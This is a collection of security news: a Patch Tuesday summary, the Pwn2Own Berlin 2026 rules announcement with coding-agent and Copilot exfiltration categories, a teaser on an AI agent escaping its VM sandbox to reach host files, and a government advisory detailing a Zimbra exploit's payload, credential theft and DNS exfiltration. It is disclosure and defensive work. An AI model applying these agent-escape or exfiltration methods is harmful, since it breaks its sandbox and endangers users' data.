More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Announcing Pwn2Own Berlin for 2026

Sat, 25 Jul 2026 19:00:42 +0200

If you just want to read the contest rules, click here.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

Back to top

Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

Back to top

Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

Back to top

The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

Back to top

Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

Back to top

The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

Back to top

AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

Back to top

The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

Back to top

The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

Back to top

Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

SharedRoot: Sandbox-Fehler in KI-Agent „Claude Cowork“ gibt VM Zugriff auf Mac-Dateien

Sat, 25 Jul 2026 19:00:32 +0200

LONDON (IT BOLTWISE) – Sicherheitsforscher zeigen, wie ein KI-Agent in „Claude Cowork“ eine Linux-VM verlassen kann, um auf dem Host-Mac beliebige Dateien zu lesen oder zu schreiben. Der Schlüssel liegt in einer gemeinsam genutzten Dateistruktur und einem Kernel-Weg, der aus einer unprivilegierten Nutzerumgebung Root-Rechte macht. Betroffen waren laut Angaben vor dem Patch rund 500.000 lokale […]

... den vollständigen Artikel »SharedRoot: Sandbox-Fehler in KI-Agent „Claude Cowork“ gibt VM Zugriff auf Mac-Dateien« lesen

Dieser Beitrag SharedRoot: Sandbox-Fehler in KI-Agent „Claude Cowork“ gibt VM Zugriff auf Mac-Dateien erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Sat, 25 Jul 2026 18:59:26 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS

